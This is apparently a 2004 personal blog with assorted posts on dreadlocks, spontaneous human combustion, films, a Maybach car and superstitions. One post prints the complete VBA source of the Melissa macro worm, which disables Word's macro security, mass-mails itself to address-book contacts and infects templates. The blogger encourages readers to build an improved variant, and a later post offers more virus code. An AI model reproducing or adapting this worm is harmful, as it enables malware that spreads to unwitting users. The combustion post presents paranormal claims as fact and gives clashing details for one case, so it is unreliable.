One quick caution to all you cats runnin for the toothpaste right now. Don't play scientist with your hair. You can really damage your scalp by experimenting with random house hold products trying to make dreads. People try peanut butter, toothpaste, eggs, polyurithane, gum, normal beeswax, honey, mollasses, and about a zillion other things. None of the shit works and it makes your head nasty and itchy. Some things will actually dammage your hair folicles and you'll go bald at 25. Don't play, use only approved hair products. The best one by far is called Dread Head. They make other stuff thats good for dreads too like dread soap, and somthin to help your dreads tighten faster. After you get the hair knotted into the shape that you want you put rubberbands on each dredlock. Put one on the tip(end) of each dreadlock and one on the root base of each dread. The root one you'll take off in a few weeks, the tip one you can leave on there, the dredlock will swallow it as it grows and leave you with a nice round tip. Ok, now you gett'em secured, its time to wax'em up. Use hair dryer, this way the wax melts into the dread where it does the most good and the out side of the dreadlock won't feel waxy. Take about 1/2 a finger tip full and squeeze and rub and twist it into each dredlock. Keep goin till you got all the dreadlocks waxed. And that's it. You finally finish the steps of dreadlocking. Now you only have to maintain till it goes to natural looks. Natural like my god, Bob Marley.

Spontaneous Human Combustion

2004-05-25T21:21:00.000+02:00

Ever heard about SHC before? First time I heard about it, it sounds crazy n scary. The tv said that it can happen anytime. So just for example, I am watching Viva La Bam on MTV right now. Suddenly my smokes come out of my body, and not long after that I am a sand man. Dead already, like dead folks being burn to ashes. Well if you don't know, here let me tell you some fact about it.

Spontaneous Human Combustion is the ability of the human body to blister or smoke or otherwise ignite in the absence of an external identifiable known source of ignition. In classic spontaneous human combustion the body burns itself more completely than can normally be achieved at a crematorium. The fires are internal in origin.

Many people believe that Spontaneous Human Combustion was first documented in such early texts as the Bible, but, scientifically speaking, these accounts are too old and secondhand to be seen as reliable evidence. Over the past 300 years, there have been more than 200 reports of persons burning to a crisp for no apparent reason.

The first reliable historic evidence of Spontaneous Human Combustion appears to be from the year 1673, when Frenchman Jonas Dupont published a collection of Spontaneous Human Combustion cases and studies entitled De Incendiis Corporis Humani Spontaneis. Dupont was inspired to write this book after encountering records of the Nicole Millet case, in which a man was acquitted of the murder of his wife when the court was convinced that she had been killed by spontaneous combustion. Millet, a hard-drinking Parisian was found reduced to ashes in his straw bed, leaving just his skull and finger bones. The straw matting was only lightly damaged. Dupont's book on this strange subject brought it out of the realm of folkloric rumor and into the popular public imagination.

On April 9, 1744, Grace Pett, 60, an alcoholic residing in Ipswich England, was found on the floor by her daughter like "a log of wood consumed by a fire, without apparent flame." Nearby clothing was undamaged.

In 1951 the Mary Reeser case recaptured the public interest in Spontaneous Human Combustion. Mrs. Reeser, 67, was found in her apartment on the morning of July 2, 1951, reduced to a pile of ashes, a skull, and a completely undamaged left foot. This event has become the foundation for many a book on the subject of SHC since, the most notable being Michael Harrison's Fire From Heaven, printed in 1976. Fire From Heaven has become the standard reference work on Spontaneous Human Combustion.

On May 18, 1957, Anna Martin, 68, of West Philadelphia, Pennsylvania, was found incinerated, leaving only her shoes and a portion of her torso. The medical examiner estimated that temperatures must have reached 1,700 to 2,000 degrees, yet newspapers two feet away were found intact.

On December 5, 1966, the ashes of Dr. J. Irving Bentley, 92, of Coudersport, Pennsylvania, were discovered by a meter reader. Dr. Bentley's body apparently ignited while he was in the bathroom and burned a 2-1/2-by-3-foot hole through the flooring, with only a portion of one leg remaining intact. Nearby paint was unscorched.

Perhaps the most famous case occurred in St. Petersburg, Florida. Mary Hardy Reeser, a 67-year-old widow, spontaneously combusted while sitting in her easy chair on July 1, 1951. The next morning, her next door neighbor tried the doorknob, found it hot to the touch and went for help. She returned to find Mrs. Reeser, or what was left of her, in a blackened circle four feet in diameter.

All that remained of the 175-pound woman and her chair was a few blackened seat springs, a section of her backbone, a shrunken skull the size of a baseball, and one foot encased in a black stain slipper just beyond the four-foot circle. Plus about 10 pounds of ashes. The police report declared that Mrs. Reeser went up in smoke when her highly flammable rayon-acetate nightgown caught fire, perhaps because of a dropped cigarette.

But one medical examiner stated that the 3,000-degree heat required to destroy the body should have destroyed the apartment as well. In fact, damage was minimal - the ceiling and upper walls were covered with soot. No chemical accelerants, incidentally, were found.

In 1944 Peter Jones, survived this experience and reported that there was no sensation of heat nor sighting of flames. He just saw smoke. He stated that he felt no pain.

Theories about Spontaneous Human Combustion
- Alcoholism - many Spontaneous Human Combustion victims have been alcoholics. But experiments in the 19th century demonstrated that flesh impregnated with alcohol will not burn with the intense heat associated with Spontaneous Human Combustion.
- Deposits of flammable body fat - Many victims have been overweight - yet others have been skinny.
- Devine Intervention - Centuries ago people felt that the explosion was a sign from God of divine punishment.
- Build-up of static electricity - no known form of electrostatic discharge could cause a human to burst into flames.
- An explosive combination of chemicals can form in the digestive system - due to poor diet.
- Electrical fields that exist within the human body might be capable of 'short circuiting' somehow, that some sort of atomic chain reaction could generate tremendous internal heat.

What Remains After a Spontaneous Human Combustion Event
- The body is normally more severely burned than one that has been caught in a normal fire.
- The burns are not distributed evenly over the body; the extremities are usually untouched by fire, whereas the torso usually suffers severe burning.
- In some cases the torso is completely destroyed, the bones being reduced completely to ash.
- Small portions of the body (an arm, a foot, maybe the head) remain unburned.
- Only objects immediately associated with the body have burned; the fire never spread away from the body. SHC victims have burnt up in bed without the sheets catching fire, clothing worn is often barely singed, and flammable materials only inches away remain untouched.
- A greasy soot deposit covers the ceiling and walls, usually stopping three to four feet above the floor.
- Objects above this three to four foot line show signs of heat damage (melted candles, cracked mirrors, etc.)
- Although temperatures of about 3,000 degrees Fahrenheit are normally required to char a body so thoroughly (crematoria, which usually operate in the neighborhood of 2,000 degrees, leave bone fragments which must be ground up by hand), frequently little or nothing around the victim is damaged, except perhaps the exact spot where the deceased ignited.

My promise to you

2004-05-24T23:37:00.000+02:00

Remember the internet world was collapsed and so crazed over a virus called "melissa" hit the net? Well somehow I got the coding for that virus. Of course it won't do anything to you, it's just text, not executable files. So don't worry. But if you plan to use it, think again. Cause it won't be a good idea, not because of you'll get caught by some law slaves. But because of it's outdated, there are already a lot of anti virus for MELISSA. It's a good thing if you take a look at this coding, study it and recreate a new one by covering every aspect of it's weaknesses. But don't tell anyone that I recommend you to do this. I am here only giving information. Well here it is, have fun learning it.

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Private Sub AutoOpen()
On Error Resume Next
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabled = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
/////////////////////////////////////////////////////////////////////////////////

Computer virus for free...

2004-05-21T18:03:00.000+02:00

Read this article. If you find it interesting and wants to get a piece of this material, just let me know and I'll work on it.

Criminals who have infected computers worldwide with destructive viruses and worms are sharing the code of their work online, encouraging others to create copycats that are just as disruptive as the originals.

Multiple versions of notorious computer bugs such as MyDoom, Beagle and Netsky, which are spread through e-mail, are circulating in the cyber-crime community.

The amount of code publicly available rose 5 percent in 2003, according to Symantec, a Cupertino, Calif., Internet security company that tracks viruses.

By sharing their code, virus and worm writers allow just about anyone to replicate their work, increasing the risk of infection for all computers.

Among the most damaging copycat worms in recent months was SoBig.F, the sixth version of the SoBig worm, which infected millions of computers and spread more than 1 billion unwanted e-mail messages in August. SoBig.F spread to more computers than any of its predecessors.

The MyDoom worm, which appeared in February and spread to millions of computers worldwide, has at least seven versions. The latest is programmed to flood Symantec's Web site with information in an attempt to shut it down. Symantec sells software to block viruses and worms.

The recent worms Netsky and Beagle each have at least 14 versions. Nearly all the codes designed to disrupt computers in recent months are considered worms rather than viruses because they are capable of spreading on their own. Viruses can spread only if a user performs an action, such as passing a computer disk or transferring a file over the Internet.

Analysts said the original versions of the most recent worms were likely to have been written by skilled programmers. But the variants could be written by anyone with access to the original code.

"People are able, with less sophisticated computer programming skills, to create these threats," said Sharon Ruckman, a senior director with Symantec.

An 18-year-old high school student was arrested in August. He was charged with creating a variant of the Blaster worm, which spread through computer networks to millions of computers. The teenager admitted to authorities that he found code from the original Blaster worm online and simply made minor changes. When he was arrested, he reportedly had been operating a Web site containing code to some viruses and worms.

The most common threats to computer users are worms that spread through e-mail. Worms can infect a computer when the user opens an e-mail attachment containing the worm. Once the attachment opens, the worm spreads to anyone listed in that computer's e-mail address book. Often the worm creates a hole allowing hackers to steal personal information or send unwanted e-mail, or spam.

Symantec has reported finding found more than 38,000 Web sites containing source code for viruses and worms. In most instances, authorities are able to shut the sites down, but analysts also think that source code is transferred over the Internet in ways that are more difficult to trace. Virus and worm writers use small mailing lists, chat rooms and instant-messaging programs, as well as file-sharing networks such as Kazaa.

Analysts believe that only a small number of people have been given access to the source code of the most disruptive worms. But that hasn't stopped the variants from infecting millions of computers.

"A lot of people are getting hit with these, especially when you see the e-mail viruses," Miss Ruckman said.

Movies of all times

2004-05-20T14:49:00.000+02:00

Have you guys watch any of these movies? I really think these movies are the best for everybody young, adult, old, dead people, etc. No one will ever get enough of these movies eventhough already watched like 10 times. Are you with me? Or you think my taste is not good enough?

Here they are:
1. Star Wars (1977), dir. George Lucas
2. The Godfather (1972), dir. Francis Ford Coppola
3. Pulp Fiction (1994), dir. Quentin Tarantino
4. Casablanca (1942), dir. Michael Curtiz
5. Gone With The Wind (1939), dir. Victor Fleming
6. Raiders of the Lost Ark (1981), dir. Steven Spielberg
7. Schindler's List (1993), dir. Steven Spielberg
8. Citizen Kane (1941), dir. Orson Welles
9. The Empire Strikes Back (1980), dir. Irvin Kershner
10. It's A Wonderful Life (1946), dir. Frank Capra
11. The Silence of the Lambs (1991), dir. Jonathan Demme
12. Braveheart (1995), dir. Mel Gibson
13. E.T. - The Extra-Terrestrial (1982), dir. Steven Spielberg
14. The Godfather Part II (1974), dir. Francis Ford Coppola
15. Forrest Gump (1994), dir. Robert Zemeckis
16. Apocalypse Now (1979), dir. Francis Ford Coppola
17. 2001: A Space Odyssey (1968), dir. Stanley Kubrick
18. The Shawshank Redemption (1994), dir. Frank Darabont
19. The Wizard of Oz (1939), dir. Victor Fleming
20. Independence Day (1996), dir. Roland Emmerich
21. GoodFellas (1990), dir. Martin Scorsese
22. Blade Runner (1982), dir. Ridley Scott
23. Return of the Jedi (1983), dir. Richard Marquand
24. Jaws (1975), dir. Steven Spielberg
25. Beavis and Butt-Head Do America (1996), dir. Mike Judge
26. Die Hard (1988), dir. John McTiernan
27. One Flew Over The Cuckoo's Nest (1975), dir. Milos Forman
28. The Sound of Music (1965), dir. Robert Wise
29. Dr. Strangelove or: How I Learned To Stop Worrying And Love The Bomb (1964), dir. Stanley Kubrick
30. The Usual Suspects (1995), dir. Bryan Singer
31. Ace Ventura: Pet Detective (1994), dir. Tom Shadyac
32. Lawrence of Arabia (1962), dir. David Lean
33. A Clockwork Orange (1971), dir. Stanley Kubrick
34. Taxi Driver (1976), dir. Martin Scorsese
35. The Graduate (1967), dir. Mike Nichols
36. Terminator 2: Judgment Day (1991), dir. James Cameron
37. The Terminator (1984), dir. James Cameron
38. Fargo (1996), dir. Joel Coen
39. North By Northwest (1959), dir. Alfred Hitchcock
40. Rear Window (1954), dir. Alfred Hitchcock
41. Raging Bull (1980), dir. Martin Scorsese
42. Grease (1978), dir. Randal Kleiser
43. Singin' In The Rain (1952), dir. Stanley Donen and Gene Kelly
44. Reservoir Dogs (1992), dir. Quentin Tarantino
45. Psycho (1960), dir. Alfred Hitchcock
46. Aliens (1986), dir. James Cameron
47. Annie Hall (1977), dir. Woody Allen
48. Vertigo (1958), dir. Alfred Hitchcock
49. Dances With Wolves (1990), dir. Kevin Costner
50. The Princess Bride (1987), dir. Rob Reiner
51. Top Gun (1986), dir. Tony Scott
52. Unforgiven (1992), dir. Clint Eastwood
53. Seven (1995), dir. David Fincher
54. West Side Story (1961), dir. Robert Wise, Jerome Robbins
55. Chinatown (1974), dir. Roman Polanski
56. The Piano (1993), dir. Jane Campion
57. Field of Dreams (1989), dir. Phil Alden Robinson
58. The Rock (1996), dir. Michael Bay
59. Trainspotting (1996), dir. Danny Boyle
60. Jerry Maguire (1996), dir. Cameron Crowe
61. The Deer Hunter (1978), dir. Michael Cimino
62. (Monty Python's) Life of Brian (1979), dir. Terry Jones
63. Some Like It Hot (1959), dir. Billy Wilder
64. Jurassic Park (1993), dir. Steven Spielberg
65. The Bridge On The River Kwai (1957), dir. David Lean
66. Indiana Jones and the Last Crusade (1989), dir. Steven Spielberg
67. The Maltese Falcon (1941), dir. John Huston
68. Twister (1996), dir. Jan De Bont
69. Ben-Hur (1959), dir. William Wyler
70. Heat (1995), dir. Michael Mann
71. When Harry Met Sally...(1989), dir. Rob Reiner
72. The Philadelphia Story (1940), dir. George Cukor
73. Back to the Future (1989), dir. Robert Zemeckis
74. Apollo 13 (1995), dir. Ron Howard
75. Rocky (1976), dir. John G. Avildsen
76. Blue Velvet (1986), dir. David Lynch
77. Amadeus (1984), dir. Milos Forman
78. Speed (1994), dir. Jan De Bont
79. Dead Poets Society (1989), dir. Peter Weir
80. Rain Man (1988), dir. Barry Levinson
81. The Good, the Bad, and the Ugly (1966), dir. Sergio Leone
82. Midnight Cowboy (1969), dir. John Schlesinger
83. Manhattan (1979), dir. Woody Allen
84. The Lion King (1994), dir. Roger Allers, Rob Minkoff
85. Platoon (1986), dir. Oliver Stone
86. Brazil (1985), dir. Terry Gilliam
87. All About Eve (1950), dir. Joseph Mankiewicz
88. Raising Arizona (1987), dir. Joel Coen
89. The Breakfast Club (1985), dir. John Hughes
90. The Quiet Man (1952), dir. John Ford
91. Doctor Zhivago (1965), dir. David Lean
92. A Time to Kill (1996), dir. Joel Schumacher
93. Breakfast at Tiffany's (1961), dir. Blake Edwards
94. A Few Good Men (1992), dir. Rob Reiner
95. Tootsie (1982), dir. Sydney Pollack
96. The Fugitive (1993), dir. Andrew Davis
97. The English Patient (1996), dir. Anthony Minghella
98. Toy Story (1995), dir. John Lasseter
99. Alien (1979), dir. Ridley Scott
100.Patton (1970), dir. Franklin Schaffner

New sex method....

2004-05-19T18:41:00.000+02:00

Ok. For this blog, I only do copy and paste from cnn.com. I hope they don't mind. Please don't tell any of cnn crew about this. Haha. Well I only copy and paste cause I think that this story is really interesting. Have fun reading it. And if you are interested, have fun too in trying it...

"Toothing" is a new craze where strangers on trains, buses, in bars and even supermarkets hook up for illicit meetings using messages sent via the latest in phone technology.

"Toothing is a form of anonymous sex with strangers -- usually on some form of transport or enclosed area such as a conference or training seminar," says the "Beginner's Guide To Toothing" on a Web site dedicated to the pursuit.

It is made possible by Bluetooth technology which allows users to send phone contacts, pictures and messages to other Bluetooth-enabled equipment over a range of about 10 meters (yards).

Users discovered they could send anonymous messages to people they did not know with Bluetooth equipment, spawning a craze dubbed "bluejacking."

Jon, aka "Toothy Toothing" and the guide's author, explained toothing was born after he was "bluejacked" by an unknown girl while commuting to work in London.

After a few days of flirting, she suggested a brief encounter in a station lavatory.

"The meeting wasn't a romantic thing -- it was purely sexual. Barely anything was said," he told Reuters via e-mail.

He said potential toothers begin by sending out a random greeting -- usually "Toothing?"

"If the other party is interested, messages are exchanged until a suitable location is agreed -- usually a public toilet, although there are tales of more adventurous spots such as deserted carriages or staff areas," his guide adds.

Jon, who's in his 20s and works in finance, estimates there could be tens of thousands of toothers from all sorts of professions and lifestyles. Certainly the Web site's message board is busy.

"Any toothing on these trains?" asks one poster about services between Cambridge and London, prompting positive responses from "Dannyboy" and "Zeke."

"I'll be around London Bridge mainline station around 9.45 - 10 a.m. tomorrow if anyone's interested...," another poster called "Boi" wrote hopefully.

While some happily recount their successful encounters, others suggest there are a few teething problems with toothing.

"I tried toothing in Tooting (south London) last night ... not a device to be found," a frustrated "Snowdog" posted sadly.

Although clearly not what the industry had in mind, toothing may lead operators towards similar, more mainstream projects.
Novelty factor

Last month it was reported that a team in Boston had created a service for cell phones called Serendipity, an wireless alternative to online dating.

It allows subscribers to store their personal details and what they want from a partner and when there are enough similarities between two people and they happen to be in the same area, it tells their phones to communicate with each other.

Dario Betti, of the British-based consultancy Ovum, said bluejacking had really taken off, helped by the fact the service was free.

"The element of the unknown, that you are connecting to someone around you that you might not know, it's a novelty factor that is helping it to start," he told Reuters.

If Jon and those who use his forum are right, toothing is certainly livening up life for some bored commuters.

"A lot of my day's taken up with a soul-aching commute into the city, and that just feels like dead time," Jon said.

"Flirting is fun, sex is fun. We're just employing expensive, complex toys to find the most basic form of entertainment.

Maybach, worth it or not???

2004-05-18T09:16:00.000+02:00

Let's say that you've just won the lottery. Chances are that one of the first things you would buy is a new car. What kind of car would you get? It really depends on how much money you want to spend and what kind of image you want to portray as you drive around.

For example, let's say that you would like to blow $50,000 on a car. There are a lot of options. Everything from a new Corvette to a Hummer 2, along with all sorts of foreign and domestic sedans and SUVs, fill the bill.

If you want to spend $100,000 on a car, the choices are a bit more limited. For example, you might choose a BMW 760, a Mercedes S600, or a Porsche Cayenne.

All the premium automotive brands that we see advertising on television top out around $100,000 Mercedes, BMW, Jaguar, Volvo, etc. If you want to spend significantly more than $100,000, you start stretching into the realm of the exotic sports cars the hand-built Ferraris and Lamborghinis or into the realm of the ultra luxury sedan. The luxury sedan niche is typified by the Rolls Royce.

Now there is a new player for the luxury sedan crown the Maybach (pronounced my-bok). Maybachs come in two models the 57 and the 62 and are priced between $300,000 and $400,000. Only a thousand or so are handmade every year.

With my blog, you will have the chance to get familiar with the Maybach so that you can recognize these cars and know what's under the hood the next time you see one driving by.

A Maybach is a high end, ultra luxury sedan. It can hold up to four passengers in regal splendor. Prices range from $300,000 to $400,000. The 57 is 5.7 meters long, and the 62 is 6.2 meters long, hence the model names. The two models are very nearly identical except for the length. The extra length of the 62 is used to increase the rear seat leg room.

The Maybach 62 also offers several options unavailable in the 57. For example, the 62 has fully reclining rear seats because it has extra leg room available in the rear to accommodate them.

The 62 also offers a huge skylight in the roof (known officially as the electro-transparent panoramic glass roof). The glass in this skylight can be electronically changed between clear, frosted or completely opaque depending on your mood (see How Smart Windows Work to find out about this technology).

It has every creature comfort you can imagine, and several that you may have never thought of. The list of standard and optional features includes:

-A built in refrigerator, operated by its own compressor
-The previously mentioned electro transparent panoramic glass roof
-Solar cells built into the roof to operate a ventilation system while the car is parked
-Ten air bags: four normal airbags for all four passengers, four side impact airbags and two curtain airbags
-Charcoal and pollen filters to clean incoming air
-Ambient lighting
-Writing desks that unfold from the armrests
-DVD player in the back seat and two screens embedded in the backs of the front seats, along with a TV tuner and a 6 disc CD changer with cordless headphones
-Curtains to cover rear and side windows
-Two cell phones
-Automatic door unlocking and ignition using a fob transmitter (When you approach the car, it unlocks; when you touch the gear selector knob, it starts.)
-Heated seats and steering wheel
-Optional fully reclining rear seats with built in massage
-Intercom between front and rear seats
-Retractable window between front and rear seats, with electro frosting when desired
-Bose sound system, 600 watts with 21 speakers
-Navigation system, self monitoring tires, telediagnostics, etc.
-100 wood veneer accent pieces and leather throughout

The Maybach Guard is an upgraded version of the Maybach that offers enhanced B4 level security for the occupants of the vehicle. B4 level security means that someone attacking the car with a blunt instrument (like a bat) or a handgun up to .44 caliber at point blank range will be unable to disable the vehicle or harm the passengers.
Maybach Guard vehicles are built from the ground up on the assembly line, the features are not added on after the fact. This allows a Maybach Guard vehicle to look identical to a standard Maybach.

Features include:
-Reinforced steel in areas like the roof, rear wall, firewall, doors and floor
-Kevlar® blankets, similar to those used in body armor, to absorb bullets that pass through the steel
-Bulletproof glass in all windows
-Special overlapping protection zones around door and window seams to prevent bullet entry
-Protected fuel tank
-Run-flat tires
-There is also a special alarm system, including alarm activation buttons at every seat, along with an intercom system to allow communication with people outside the vehicle without opening a window.

And yet, look at the important performance figures*. In 0 to 60-mph (0-97 kph) acceleration, the Maybach 57 and the Corvette are equal 4.9 seconds. In 0 to 80-mph (0-129 kph) acceleration, the Maybach is actually one-tenth of a second quicker 7.8 seconds for the Maybach versus 7.9 seconds for the Corvette.

In terms of braking, the Maybach 57 is actually better than the Corvette. Braking from 60 mph (97 kph), the Maybach takes 121 feet (37 meters). The Corvette takes 134 feet (41 meters). From 80 mph, the Maybach takes 212 feet (65 meters) versus 214 feet (65 meters) for the Corvette.

In the slalom, you would expect the Corvette to obliterate the Maybach, given that the Corvette is 3,000 pounds lighter and 4 feet shorter. But the speed through the 700-foot slalom is incredibly close 62.4 mph (100.4 kph) for the Corvette and 60.4 mph (97.2 kph) for the Maybach.

You must be thinking like this "How is this possible? How can a huge car like a Maybach match a sports car like the Corvette in terms of performance? This raysa guy is nuts, no knowledge about car whatsoever."

Now let me tell you how it is possible. It starts with the engine. While the Corvette's engine is slightly larger 5,665 cubic centimeters (cc) versus 5,513 cc for the Maybach. The Maybach's is a high tech V12. The Maybach engine has features such as:
-Three valves per cylinder and overhead cams
-Variable valve timing
-Variable length intake manifolds
-Dual turbochargers with intercooler that can produce 18.9 psi of boost

This all adds up to an engine that produces 543 horsepower compared to 350 horsepower for the Corvette. The extra horsepower means that the power to weight ratios of the two cars are nearly identical. On the braking side, the Maybach is very well endowed. The Maybach has huge disc brake rotors at 14.8 inches up front and 14 inches in the back. The Maybach actually has six brake calipers instead of the normal four two calipers on each front wheel. The entire braking system is redundant and computer controlled so that the CPU can decide which calipers to activate and how much pressure to apply to each. Computer control also allows special software features to be added. For example, if your foot comes off the accelerator rapidly, the braking system notices. The braking system assumes that, a few milliseconds later, you will be hitting the brakes for a panic stop. So, during those few milliseconds, the computer can move the brake pads into position against the rotors to allow quicker brake activation.

To handle the slalom, the Maybach has another computer controlled system the car has air shocks that can auto level the vehicle during acceleration, cornering and braking. The shocks also have adjustable internal dampers to control the stiffness of the suspension.

The performance equation for the Maybach is simple: The engineers have brought every possible piece of technology into this car to make it behave like a sports car.

Before I end my blog about Maybach, you must think that this car is very expensive and the price is just so not worth it. Well think again. Here are the comparisons.
A Maybach seems expensive, but if you look at the price per pound for various vehicles, it seems less outrageous. Here's a quick comparison:

-Space Shuttle: Costs $2.1 billion, weighs 170,000 pounds = $12,000 per pound
-Gold: Approximate 2003 spot price of about $400 per ounce = $6,400 per pound
-Lear jet 45: Costs approximately $10 million, weighs 15,000 pounds = $650 per pound
-High-end carbon fiber bicycle: Costs $3,000, weighs 20 pounds = $150 per pound
-Segway: costs $5,000, weighs 80 pounds = $62.50 per pound
-Maybach: Costs $300,000, weighs 6,100 pounds = $49.10 per pound
-Harley Davidson VSRC motorcycle: costs $18,000, weighs 600 pounds = $30 per pound
-USS Ronald Reagan (nuclear-powered aircraft carrier): costs $4.3 billion, weighs 90,000 tons = $24 per pound (plus, it comes with a 20-year supply of fuel already in the reactor)
-Hummer 2: costs $52,000, weighs 6,400 pounds = $8.13 per pound
-Ford Focus: costs $14,000, weighs 2,600 pounds = $3.57 per pound

Well then now I'm done with my blog. Sorry for no update of blog for a few days. It's been a hard time for me researching about this maybach. I just want to present you the best you can get.

Have you occur to do or be in these situations?

2004-05-14T10:08:00.000+02:00

In this blog I will tell you some general bad luck signs. It is up to you to believe it or not. I am just telling you. If u happen to get bad luck by trying to prove me wrong, don't blame me. Here are some signs you may want to try to prove me wrong...

- Friday the Thirteenth - The Scandinavian's believed that the number 13 was unlucky due to the mythological 12 demigods being joined by a 13th, an evil one, who brought misfortune upon humans. It was also said that Christ was crucified on Friday and the number of guests at the party of the Last Supper was 13, with the 13th guest being Judas, the traitor.
- Walking under a ladder - A leaning ladder forms a triangle with the wall and ground. Triangles represent the Holy Trinity, and violating the Trinity by breaking it (walking through it) would put you in league with the devil himself.
- Black Cats - In ancient Egypt, the Goddess Bast was a black, female cat. Christians, wanting to rid society of all traces of other religions, convinced the ignorant that black cats were demons in disguise and should thus be destroyed. In the process, they also destroyed the kindly ladies who cared for the cats, believing them to be witches. Being demons, a black cat crossing your path would create a barrier of evil, cutting you off from God and blocking the entrance to heaven.
- Spilling Salt - Salt used to be an expensive commodity used mainly for medicinal purposes. For this reason, spillage was to be avoided at all costs. The idea that it is unlucky to do so probably stems from the belief that Judas spilt salt during the last supper. Throwing spilt salt over the left shoulder is linked to its medicinal use. If it could not be administered, the next best thing was to throw it into the eye of the evil spirits that brought sickness upon us. These spirits were thought to lurk behind your shoulder, waiting for an opportunity to strike.
- If a dog suddenly barks for no apparent reason in a house that has a sick person then
- You must wear new clothes at Easter or you will have bad luck
- There will be an argument if knifes are crossed at a table. Also, if a lover gives you a
- Breaking a mirror means 7 years of bad luck, unless you take the pieces outside & bury them in moonlight. Also, an undisturbed mirror in a house suddenly fall & smashes then it means that there will soon be a death.
- Unless you were born in October, the wearing of an Opal will be ill-fated
- If pepper is spilt, then you will have a serious argument with a friend.
- Sparrows are said to carry the souls of the deceased to the after-life. To kill one means that you will be cursed.
- It is extremely unlucky to open an umbrella inside a house.
- If a groom drops the ring during the ceremony then the marriage is doomed to failure.
- Breaking a plate, especially if it had not already been cracked.
- To see the new moon for the first time through glass. Upon seeing the new moon you should turn whatever silver you have in your pockets or handbag, and thus ensure prosperity for a month.
- The blossom must never be cut from the tree and brought into the house before May 1, or ill fortune will attend you.
- Never mend a garment while you are wearing it, or misfortune will follow.
- Breaking a mirror portends seven years of bad luck. It is also extremely unlucky to receive a mirror as a present
- To make a present of a knife or any other sharp instrument unless you receive something in exchange.
- Walking under a ladder, unless you cross their fingers while doing so.
- It brings ill fortune if a lease or any contract is signed in the months of April, July, or November.
- To spill ink threatens worry, annoyance, and the failure of a project that is on foot.
- Crossing two table-knives by accident portends bad luck.
- To give a pair of gloves to a friend unless you receive something in exchange.
- To encounter a gravedigger coming towards you. Usually this means there will be a severe illness.
- For those who completely rake out a fire before retiring. A few embers should always be left.
- To break a glass bottle portends misfortune
- If you fasten a button into the wrong buttonhole
- if a candle falls over
- For a golfer to borrow your partners umbrella
- Throwing stones into the sea cause bad luck
- Starting a cruise on a Friday
- Stepping on board a ship with your left foot
- To open an umbrella in the house
- It is unlucky to sit on a table unless one foot is touching the ground
- If a person stumbles when leaving his house at the beginning of a journey, or trips or stumbles more than once during the course of the journey, it is advisable to postpone it.
- To pass anyone on the staircase.
- New shoes should never be left on a table
- To put on the left shoe before the right, and it is worse still to put the right shoe on the left foot, or vice versa.
- Spilling salt. If both salt and pepper are spilt at the same time, the force of this ill omen is doubled.
- You will have bad luck if you do not stop the clock in the room where someone dies.
- It's bad luck to count the cars in a funeral cortege.
- It's bad luck to meet a funeral procession head on.

Ravers wannabe guide...

2004-05-13T11:33:00.000+02:00

